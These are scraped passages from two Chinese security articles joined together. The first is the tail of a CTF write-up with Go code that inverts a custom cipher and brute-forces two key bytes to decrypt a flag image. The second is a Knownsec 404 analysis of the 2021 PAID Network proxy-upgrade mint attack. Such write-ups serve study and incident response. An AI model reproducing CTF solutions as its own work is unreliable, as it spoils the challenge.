for i = 1; i < 2*length+4; i++ {
keys[i] = keys[i-1] + 0x48C20B1A
}
lll = uint32(3 * keysLen)
a = 0
b = 0
c = 0
d = 0
for index = 1; index <= lll; index++ {
keys[a] = bits.RotateLeft32(keys[a]+b+c, 3)
tmp1 := keys[a]
tmp2 := c + tmp1 + digest[d]
tmp3 := tmp1 + c
tmp4 := bits.RotateLeft32(tmp2, int(tmp3))
digest[d] = tmp4
c = digest[d]
tmp5 := (a + 1) % (2*uint32(length) + 4)
a = tmp5
d = (d + 1) % 4
b = tmp1
}
return keys
}
## 分析 enc 函数
* `enc` 函数相对 `genKey` 来说要简单一些，如果你能分析出 `genKey` 的逻辑，那么分析 `enc` 肯定就没问题了，不断动调即可
* 得到 `enc` 函数的逻辑如下
func enc(crc1, crc2 byte) {
rawPlain := []byte{0x1e, 0x26, 0x2e, 0x20, 0x2b, 0x2d, 0x2f, 0x1c, 0x29, 0x22, 0x1d, 0x1f, 0x21, 0x28, 0x23, 0x27}
plain := make([]uint32, len(rawPlain)/4)
keys := genKey(crc1, crc2)
cipher := make([]uint32, 4)
length := 0x14
for i := 0; i < len(rawPlain)/4; i++ {
plain[i] = binary.LittleEndian.Uint32(rawPlain[4*i : 4*(i+1)])
}
var p, q, m, n uint32
p = plain[0]
q = keys[0] + plain[1]
m = plain[2]
n = keys[1] + plain[3]
for index := 1; index <= length; index++ {
tmp1 := bits.RotateLeft32(q*(2*q+1), 7)
tmp2 := bits.RotateLeft32(n*(2*n+1), 7)
tmp3 := bits.RotateLeft32(tmp1^p, int(tmp2))
c1 := bits.RotateLeft32(tmp2^m, int(tmp1))
p = q
q = keys[2*index+1] + c1
m = n
n = keys[2*index] + tmp3
} // b->a, d->c
cipher[0] = keys[2*length+2] + p
cipher[1] = q
cipher[2] = keys[2*length+3] + m
cipher[3] = n
}
* 然后就是对其进行逆向操作，这里尝试使用 `z3` ，但是由于本题需要爆破，因为效率原因遂放弃，后来意识到因为 `rol` 是循环左移，不会丢失原来 `uint32` 中的 `bits` ，所以可以倒推回去
func dec(crc1, crc2 byte, realCipher []uint32) []byte {
keys := genKey(crc1, crc2)
cipher := realCipher
length := 0x14
var a, b, c, d, c1, tmp1, tmp2, tmp3 uint32
plain := make([]uint32, 4)
d = cipher[3]
c = cipher[2] - keys[2*length+3]
b = cipher[1]
a = cipher[0] - keys[2*length+2]
for index := length; index >= 1; index-- {
tmp3 = d - keys[2*index]
d = c
c1 = b - keys[2*index+1]
b = a
tmp1 = bits.RotateLeft32(b*(2*b+1), 7)
tmp2 = bits.RotateLeft32(d*(2*d+1), 7)
a = bits.RotateLeft32(tmp3, -int(tmp2)) ^ tmp1
c = bits.RotateLeft32(c1, -int(tmp1)) ^ tmp2
}
plain[0] = a
plain[1] = b - keys[0]
plain[2] = c
plain[3] = d - keys[1]
bytesPlain := []byte{}
for i := 0; i < 4; i++ {
tmp := make([]byte, 4)
binary.LittleEndian.PutUint32(tmp, plain[i])
bytesPlain = append(bytesPlain, tmp...)
}
return bytesPlain
}
## 解题
### 爆破未知的 CRC
* 现在所有部分都逆明白了，这时候需要爆破两个 byte 的 CRC
* 由于被加密的文件是 PNG 图像，所以它的头部是有特征的，这里就看解密的结果是不是存在 `PNG` 三个字符就行了
* 写出爆破函数
func bruteCRC() (uint8, uint8) {
var a, b int
var crc1, crc2 uint8
file, _ := os.ReadFile("flag.png.enc")
realCipher := make([]uint32, 4)
for i := 0; i < 4; i++ {
realCipher[i] = binary.LittleEndian.Uint32(file[4*i : 4*(i+1)])
}
wg := sync.WaitGroup{}
runtime.GOMAXPROCS(runtime.NumCPU())
for a = 0; a <= 0xff; a++ {
for b = 0; b < 0xff; b++ {
t1 := a
t2 := b
wg.Add(1)
go func() {
plain := dec(byte(t1), byte(t2), realCipher)
if strings.Contains(string(plain), "PNG") {
crc1 = uint8(t1)
crc2 = uint8(t2)
}
wg.Done()
}()
}
}
wg.Wait()
return crc1, crc2
}
* 爆破得到两个 bytes 是 `179, 136`
### 解密文件
* 解密文件就是很常规了，不再赘述
func fileDec(crc1, crc2 uint8) {
file, _ := os.ReadFile("flag.png.enc")
realCipher := make([]uint32, 4)
plainBytes := []byte{}
for i := 0; i < len(file); i += 16 {
for j := 0; j < 4; j++ {
realCipher[j] = binary.LittleEndian.Uint32(file[i+4*j : i+4*(j+1)])
}
tmp := dec(crc1, crc2, realCipher)
plainBytes = append(plainBytes, tmp...)
}
os.WriteFile("flag.png", plainBytes, 0777)
}
* Flag 如图所示
## 总结
* 文件加密题里面经常有爆破若干字节的套路
* Golang 的动调真的很重要很重要 | 社区文章 |
**作者：昏鸦 & laker
日期：2021年3月6日**
## 前言
PAID Network（PAID）
是一个生态系统DAPP，它利用区块链技术来交付DeFi支持的智能协议，从而使业务效率成倍提高。其允许用户创建自己的策略，以确保他们获得报酬。
2021年3月6日，据星球日报消息，其流动性代币出现问题，敦促用户紧急取出流动性质押。
据悉，本次攻击导致增发铸造近5970枚 PAID 代币，并已在uniswap上交换获利 2400枚 ETH(约 380
万美元)，目前已经有受害者向攻击者寻求归还。
知道创宇404区块链安全研究团队在第一时间跟进并分析攻击细节，具体分析如下
## 分析
攻击者`0x18738290AF1Aaf96f0AcfA945C9C31aB21cd65bE`铸币获得 59,471,745.571
PAID，然后通过Uniswap换成了ETH获利。
铸币交易tx：0x4bb10927ea7afc2336033574b74ebd6f73ef35ac0db1bb96229627c9d77555a0
跟进代理合约，指向了地址`0xB828E66eB5B41B9Ada9Aa42420a6542CD095B9C7`，是一个未开源的合约
而在该合约的反编译伪代码中，能看到存在用于铸币的`mint`函数，并且会校验调用者身份必须是地址`0x18738290af1aaf96f0acfa945c9c31ab21cd65be`：
这一校验就显得相当可疑了，如果不是项目方故意留后门，那可能就是项目方的管理地址账号私钥被盗而造成的。
那么接下来我们再来看看相关代理合约上是否有转移管理权限的事件记录
代理合约的升级事件日志如下：
恰好在攻击发生之前存在两次升级操作，这升级时的两个合约都是存在铸币函数的恶意合约，而发起这两笔交易的正是地址`0x18738290AF1Aaf96f0AcfA945C9C31aB21cd65bE`。
接下来，找到代理合约的创建交易tx：0x722caf4a8ba43f06f2c26e41cf49b9200af9f0593444d0b81713c2292782d15b
在Input Data中找到构造函数的传入参数，解码如下：
// 构造函数
constructor(address _logic, address _admin, bytes memory _data)
// 传参
_logic = 0xd34bb7119a26f416a79889bacc9159b2bd2eb79e // 逻辑合约地址
_admin = 0x7bb7580edb70170daf8a24afc6aaef93db720c24 // 代理合约管理员地址
_data = 0x8129fc1c //函数签名,即 abi.encodeWithSignature("initialize()")
可以发现一开始的管理员是`0x7bb7580edb70170daf8a24afc6aaef93db720c24`，跟进地址，发现同样是个代理合约，不过在其事件记录中发现存在所有权的转移：
恰好是由PAID项目方的合约部署者`0x6ba10437fD18899a4D920B60A9663b9a1D7a1120`转给攻击者`0x18738290AF1Aaf96f0AcfA945C9C31aB21cd65bE`。
## 总结
通过对整个事件的分析来看，此次攻击原因由于PAID项目方的
**合约部署者(0x6ba10437fD18899a4D920B60A9663b9a1D7a1120)** 出于不明原因（或有意或私钥被盗），
**将代理合约(0x7bb7580edb70170daf8a24afc6aaef93db720c24)的管理员转移至攻击者(0x18738290AF1Aaf96f0AcfA945C9C31aB21cd65bE)**
。
随后 **攻击者(0x18738290AF1Aaf96f0AcfA945C9C31aB21cd65bE)通过upgrade升级了逻辑合约**
，添加了新的`mint`函数后进行铸币操作。
最后将得到的 2500000 / 59,471,745.571枚PAID代币在uniswap交易所进行交换，获利2,040
枚ETH，同时该账户剩余大量PAID代币。
## 建议
目前，该攻击者地址内仍剩余大量PAID代币，建议用户立即对质押进行回撤，防止进一步的损失。
* * * | 社区文章 |
Subsets and Splits